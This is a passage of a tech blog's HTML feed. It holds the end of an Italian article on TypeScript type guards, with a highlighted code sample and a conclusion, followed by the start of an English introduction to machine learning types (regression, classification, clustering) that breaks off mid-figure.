&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isValidPoint&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;any&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[]): &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; === &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;every&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; !&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isNaN&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isValidPoint&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Il valore è valido, possiamo accederci&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;} &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Il valore non è valido, e questo linea darà errore 🤯&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=15&amp;amp;pc=2#code/C4TwDgpgBACg9gSwHbCgXigbSQVwLYBGEATgDRS6EnmVHEC6A3ALABQbA9B1ADICGUAGY4kALwRwk0YgmBxiSAcGI5oAZ2gIANlDB9ifPBGVwoAC6gjYiFG2FIAxsAlIoCNQDU+WhABN4yMAAFPrEAFxQfEggmPQAlBGhbmrWgVAA3mxQUMTGOAqRxMQAdFoQSADmwAAW6GgYAMxQAGTNhSUQAG4kIEFBANZx6AB8UACE7gByfJMDcXEsrAC+bGwOkmqoYDaoGJgATOQARHxHTGwIglBB7l4+-jtB24HzGVlQXFAAkjqd3vLQCx-e5wcjbNRqBCGUx8BwOCC+EgOBDvdZINRwMqlOAVJ47A70KAAWigDQWbCWUAgWg0b1Y2U+PygwIBFEk5mZ3j8oKpUAAjqpNqYfFIBL59AADqlFVmAPg3APS7qI2mIg2NxzxQBOJpPJyyAA&quot;&gt;Prova su Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Abbiamo visto come TypeScript può diventare un valido alleato per scrivere codice sicuro e corretto, minimizzando gli errori sugli &lt;em&gt;edge case&lt;/em&gt; e il tempo necessario per i test.&lt;/p&gt;&lt;p&gt;Alcuni potrebbero controbattere che tutto ciò che abbiamo mostrato poteva essere risolto con un adeguato testing o attenzione nello sviluppo. In SMC, però, pensiamo che il valore che porta TypeScript sia proprio questo: pagando con un po&amp;#x27; di verbosità in piu&amp;#x27; diminuisce il carico cognitivo che gli sviluppatori devono portare quando scrivono codice. I tipi fungono da riferimento e aiuto grazie agli IDE, non dovendo più cercare i parametri delle funzioni nella documentazione (che spesso non è neppure aggiornata).&lt;/p&gt;&lt;p&gt;In SMC abbiamo applicato l&amp;#x27;uso di TypeScript a tutti i progetti complessi e mission-critical, ottenendo una diminuzione del tempo necessario per i bugfix, dato che in fase di test vengono riscontrati molti meno bug.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk17 { color: #808080; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Machine learning and applications for industry]]></title><link>https://techblog.smc.itmachine-learning-industry</link><guid isPermaLink="false">https://techblog.smc.itmachine-learning-industry</guid><pubDate>Mon, 25 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Applications such as search engines, voice assistants, e-commerce sites, &amp;quot;smart&amp;quot; cameras,
facial recognition for unlocking the smartphone are now part of our daily lives.
Many do not know, however, that these applications make use of artificial intelligence. &lt;br/&gt;
Artificial intelligence is used both as a foundation without which the system would not be feasible, and as a support to provide
a service as addressed and customized as possible to the user.&lt;/p&gt;&lt;p&gt;This makes us reflect on how artificial intelligence is an already heavily used tool, even if it is currently
for the most part confined to the major players in the market. &lt;br/&gt;
However, it is expected that in the years to come, AI will become increasingly widespread even on medium-small businesses,
with a growing impact on all types of industries and activities. &lt;br/&gt;
In fact, we can say that AI will very often become a feature that is already expected to be integrated into products.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:800px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7cd50122602e37d1524fd143b3f2f393/4b190/ai-ml.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:54%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;216\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20216\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M92%208C52%2013%2019%2042%207%2081c-3%2012-4%2040%200%2053%2016%2060%2082%2092%20138%2067l6-1h1l9-7a103%20103%200%200038-45l2-7c10-35%206-62-12-89A101%20101%200%200091%208m278%20126c0%203%203%205%205%202%200-1%201-2%202-1l3-1h1l1%201%201-1v-3l1%202c0%201%201%202%204%202h6c2%201%203%200%203-2%200-3-3-4-5-1-2%202-4%203-4%200l2-1h-10l-5-1h-5v4m-42%2022v4h5c4%200%205-1%205-2h1c0%203%207%203%207%200s2-3%202%200c1%202%201%202%202%200s1-2%201%200l1%202%201-3c-1-3-4-4-8-2h-8c-1-1-2-1-4%202l-2%203-1-4c0-4-2-4-2%200m-69%2023v4h6l5-1h5c2-1%202-1%202%201v2l1-1%202-1c3-1%202-4-2-5h-5c-2%201-8%201-8-1l-3-1c-3%200-3%200-3%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7cd50122602e37d1524fd143b3f2f393/c85cb/ai-ml.webp 300w,/static/7cd50122602e37d1524fd143b3f2f393/e88ff/ai-ml.webp 600w,/static/7cd50122602e37d1524fd143b3f2f393/d00b9/ai-ml.webp 800w&quot; sizes=&quot;(max-width: 800px) 100vw, 800px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7cd50122602e37d1524fd143b3f2f393/f93b5/ai-ml.jpg 300w,/static/7cd50122602e37d1524fd143b3f2f393/b4294/ai-ml.jpg 600w,/static/7cd50122602e37d1524fd143b3f2f393/4b190/ai-ml.jpg 800w&quot; sizes=&quot;(max-width: 800px) 100vw, 800px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - AI and Machine Learning&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7cd50122602e37d1524fd143b3f2f393/4b190/ai-ml.jpg&quot; title=&quot;Figure 1 - AI and Machine Learning&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - AI and Machine Learning&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Machine learning is a discipline of artificial intelligence through which many forms of AI can be achieved. &lt;br/&gt;
Machine learning collects and uses a multitude of methods such as artificial neural networks, adaptive algorithms, processing
images, data mining, and others, to create systems capable of learning autonomously and progressively. &lt;br/&gt;
In fact, machine learning can be considered a variant to traditional programming, in which it is predisposed
in a machine the ability to learn from data (experience) independently, without being explicitly programmed to do it,
to then be able to reuse what has been learned about a certain task.&lt;/p&gt;&lt;h1 id=&quot;types-of-machine-learning&quot;&gt;Types of machine learning&lt;/h1&gt;&lt;p&gt;Machine learning is usually divided into three different types, plus others of lesser importance (which are often a hybrid of the three most important). &lt;br/&gt;
Each typology differs from the other on the basis of the form of data used for training and on the basis of the task to be performed.&lt;/p&gt;&lt;h2 id=&quot;supervised-learning&quot;&gt;Supervised learning&lt;/h2&gt;&lt;p&gt;In this type of machine learning the models are trained starting from labeled data,
i.e. data for which the desired output signals are known. &lt;br/&gt;
What the model learns are a series of patterns and correlations between the data and the associated label, which it will reuse
as a basis for making decisions on future data. &lt;br/&gt;
In the case of supervised learning, machine learning problems are divided into two main classes: &lt;strong&gt;Regression&lt;/strong&gt; and &lt;strong&gt;Classification&lt;/strong&gt;.&lt;/p&gt;&lt;h3 id=&quot;regression&quot;&gt;Regression&lt;/h3&gt;&lt;p&gt;An example of a regression problem may be to estimate the cost of a home, described by a series
of variables, such as the surface, the number of rooms, etc... &lt;br/&gt;
In the training data, for each home, in addition to the descriptive variables, the label (the expected result) is known,
which in our case is the price of the house. &lt;br/&gt;
In regression, the label is always a continuous variable. What we try to do in these problems
is to find, through a more or less complex continuous function, a relationship between descriptive variables and labels.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:706px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/9f21b/regressione.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:36.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;146\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20146\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M22%2018c-2%205-3%207%200%207%201-1%201%204%201%2037%200%2034%200%2038-2%2038l-1-1c1-3-1-5-4-5s-5%202-5%205%200%203%206%203h6v9l1%209h76c76%200%2076%200%2076%202%201%202%201%202%204%200%206-4%206-4%202-7-4-2-6-3-6%200l-75%201H26v-2l1-4a495%20495%200%200158-34c1%202%204%201%204-2-1-3%209-7%2028-14a2230%202230%200%200032-8h3c2-2%2018-5%2028-5%203%200%204%200%204-2%201-1%200-1-8-1a224%20224%200%2000-60%2014c-17%205-31%2012-43%2018l-12%206c-1-2-3%200-3%202%200%201-2%203-5%204-4%203-4%203-5%201-2-2-4%200-4%203%201%202-1%203-8%208l-9%206a731%20731%200%20012-85c-4-6-4-7-7-3m205%200a414%20414%200%2001-2%2079c-1-6-9-5-10%201%200%202%201%203%206%203l7%201v9l1%209h76c76%200%2076%200%2076%202%201%202%201%202%205%200%205-3%205-4%201-7-4-2-6-3-6%200l-75%201h-75v-6c0-5%200-6%205-13%209-14%2013-15%2023-7l8%206%202%202c1%203%204%202%205%200l2-4c2%200%207-5%2011-11%209-11%2012-13%2013-10%201%202%204%203%204%201l-1-2-1-1v-1c-2-1%2028-18%2030-18l1%202c1%203%204%203%204-1-1-3-1-3%203-4%2012-5%2019-4%2029%201%209%205%2011%205%2011%204%200-2-12-8-19-11-7-1-11-1-22%203-7%203-7%203-7%201s-1-3-3-2v3c1%202%200%202-6%206a229%20229%200%2000-32%2018l-2%202c0%205-13%2019-18%2019-3%200-8-3-14-8-3-3-8-5-9-4l-1-1c-2-2-4-1-4%202%200%202-1%204-3%205l-5%207-4%205a891%20891%200%20011-80c-3-5-3-5-5-1m62%20111c-2%201-1%203%201%204%203%201%203%203%200%202l-2%201c0%202%206%201%207-1h1l4%202c2%200%203%201%203%202%201%201%201%200%201-4v-7h-3c-2%200-3%201-5%203l-2%203-2-2-2-2h2l2-1h-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/c85cb/regressione.webp 300w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/e88ff/regressione.webp 600w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/a2af0/regressione.webp 706w&quot; sizes=&quot;(max-width: 706px) 100vw, 706px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/5a46d/regressione.png 300w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/0a47e/regressione.png 600w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/9f21b/regressione.png 706w&quot; sizes=&quot;(max-width: 706px) 100vw, 706px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - Regression&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/9f21b/regressione.png&quot; title=&quot;Figure 2 - Regression&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - Regression&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The figure shows, for example, the use of two functions of different complexity, capable of learning a certain
trend of the curve, which will then be used to produce estimates on future data.&lt;/p&gt;&lt;h3 id=&quot;classification&quot;&gt;Classification&lt;/h3&gt;&lt;p&gt;In the classification, labels are unordered discrete values that can be considered as belonging to a group of a class. &lt;br/&gt;
Using an automatic learning algorithm with supervision, we will be able to separate the two classes (by identifying
decision-making boundary) and associate the data, based on their values, to different categories, with a certain confidence value. &lt;br/&gt;
Classification can be binary or multiclass.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1181px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/712f7/classificazione.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;259\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20259\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M20%2014v3l1%20111v111a31765%2031765%200%2000213-1c-158%200-162%200-160-2a4163%204163%200%200094-91C314%204%20305%2012%20302%2013L96%20211l-28%2027H22V127a2142%202142%200%20011-113c-1-2-3-3-3%200m68-1c-8%204-11%2010-11%2017%200%209%203%2014%209%2018l9%201%203-2%204-3c0-2%202-2%202%201%200%204%204%201%207-6%204-9%201-19-7-24-4-3-13-4-16-2M42%2025v6c0%206%200%206-5%2010-4%203%202%2013%209%2016%209%204%2021%201%2022-6%205-23%204-27-4-22-5%203-13%202-18-2-3-3-3-3-4-2m85%207c-3%201-3%202-3%204%200%203%200%203-2%203-3-1-3%200%200%202s4%206%202%206v4c0%205%202%208%202%205s4-5%205-3l1%207-3-1-2-2-1%204c0%205%201%206%208%207%209%200%2017-5%2020-14%202-7%201-11-4-17l-5-4v4l-1%206-2-9c1-4-8-6-15-2M77%2051c-10%203-16%2013-14%2022%201%205%204%2010%205%208h3l2-1%202-1%201-1%202-2%202-2c0-3%202-4%204-3l3%204h4l2%201%201%201v1l1%202c0%203%202%202%203-1%203-6%203-15-1-20-3-5-4-6-5-4-1%201-1%201-1-1%200-3-8-5-14-3M29%2067c0%205%200%205-2%204-6-1-4%2015%202%2021%206%205%2016%206%2017%202l4-5c4-4%2010-19%208-20h-7c-2%201-11-1-14-4-5-3-7-3-8%202m86%203c-12%203-17%2016-13%2027%202%204%205%206%205%203l1-2-1-2c-2%201-3-4-1-7%201-1%201-1%201%201%200%205%204%205%206%201l2-2%202-2c1-3%203-2%203%201%200%204%203%205%208%204%204-1%207%201%207%205s4-5%204-9c0-7-5-15-9-14h-2v-2c-1-2-8-3-13-2m92%2096c-3%202-9%207-9%209h3c8-5%2016-6%2020-3l4%203c-1%201-2%200-4-1-3-2-8-2-13%201l-5%201c-3%200-5%203-5%207v4l1%204c2%207%209%2011%2016%2011s13-3%2013-5v-1c5%202%209-15%205-22-5-8-17-12-26-8m134%201c1%203%201%203-1%203s-2%200-2%204c0%205-1%208-2%204-1-1-1-2-3-1-2%200-2%200-1-2l1-4v-3c-2-1-4%200-4%202l-1%201c-2-1-2%200-2%204s0%205-2%207c-2%200-3%202-3%202%200%202%207%208%209%208l3%201%203%201c3%200%204-1%201-3-3-5%201-6%209-2%205%203%205%203%205-5v-8c2-3-1-6-6-9l-4-2v2m-50%206l-3%201-3%202-1%203c-2-2-3%2013-1%2016l2%201h2l4%202a360%20360%200%20001%202c-2%202%203%201%205-2%204-4%205-3%202%201s-4%205-2%205c3%200%208-8%208-11s1-2%201%202c2%207%204%207%208%202s5-16%201-15l-2-1c-1-2%200-2%201-2%203%200%203%200%201-3-1-4-2-4-3-1-1%202-1%203-2%202l-1-1-1-1c-1-1-1%200-1%201%200%202-4%201-6-2-1-2-1-2-2%200-2%203-2%204%201%204l2%202%202%203-4%201-5%203c-1%201-1%201%201%201h6l-6%204c-2%200-6-1-4-2l1-5c-1-4%200-6%201-7%202-1%203-4%200-4l-1-1c1-2-1-2-2%200m76%205c-7%202-13%2013-12%2021%204%2018%2025%2022%2034%207%203-6%203-16-1-21-5-7-13-9-21-7m-102%2020c-12%206-15%2023-5%2031%203%203%203%203%205%201h1v2c1%202%203%202%203%200s0-2%202-2l2%201v2c0%202%200%202%202%201l3-1h1c2%201%208-3%2010-7%207-11%201-27-9-27l-3-1c-1-2-7-2-12%200m4%202l-3%204c-1%203-1%203%202%203%202-1%203%200%201%201l-1%203c-1%201%200%202%202%202%203%200%204%200%204%203l1%204%201-4c-1-4-1-4%201-4%203%202%205%202%205%201l-2-3-2%201c-4%200-6-4-4-6l1%201%202%201%202%201%202-4h-1l-3-2c-2-2-4-3-8-2m58%202c-8%204-11%2010-5%209l3-1-2%204-2%2010c-1%206-1%206%202%209l3%202%204%201c15%204%2025-4%2024-19-1-14-15-22-27-15\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/c85cb/classificazione.webp 300w,/static/7ba954cc5291fe27e131cfcee2da3731/e88ff/classificazione.webp 600w,/static/7ba954cc5291fe27e131cfcee2da3731/a110d/classificazione.webp 1181w&quot; sizes=&quot;(max-width: 1181px) 100vw, 1181px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/5a46d/classificazione.png 300w,/static/7ba954cc5291fe27e131cfcee2da3731/0a47e/classificazione.png 600w,/static/7ba954cc5291fe27e131cfcee2da3731/712f7/classificazione.png 1181w&quot; sizes=&quot;(max-width: 1181px) 100vw, 1181px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Classification&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/712f7/classificazione.png&quot; title=&quot;Figure 3 - Classification&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Classification&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;An example of classification could be to determine if, given an image, it is a cat or dog image. &lt;br/&gt;
The predictive variables in this case could be the shape of the ears and the size of the nose (features that come
extracted through appropriate image processing techniques), while the label simply specifies if it is
of a dog or cat. &lt;br/&gt;&lt;/p&gt;&lt;h2 id=&quot;unsupervised-learning&quot;&gt;Unsupervised Learning&lt;/h2&gt;&lt;p&gt;In unsupervised learning, unlike supervised learning, we have unlabeled data.
In these cases, therefore, we cannot count on a known variable relating to the result. &lt;br/&gt;
These techniques try to observe the data structure and to extrapolate from this meaningful information. &lt;br/&gt;
Most unsupervised tasks fall into the &lt;strong&gt;Clustering&lt;/strong&gt; problem class.&lt;/p&gt;&lt;h3 id=&quot;clustering&quot;&gt;Clustering&lt;/h3&gt;&lt;p&gt;Clustering is an exploratory technique that allows you to aggregate within groups (called clusters) data for which
we have no previous knowledge of belonging to groups.
We will therefore have large datasets, where the data inside them have similar features to each other. &lt;br/&gt;
Within each individual group (or cluster) we will find those data that have many similar characteristics to each other. &lt;br/&gt;
Clustering is an excellent technique that allows us to find relationships between data, and to carry out the so-called
exploratory data analysis. For example, clustering allows vendors to identify customer clusters based on their profiles
to improve marketing activity (market segmentation).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:700px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/8c557/clustering-topic.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
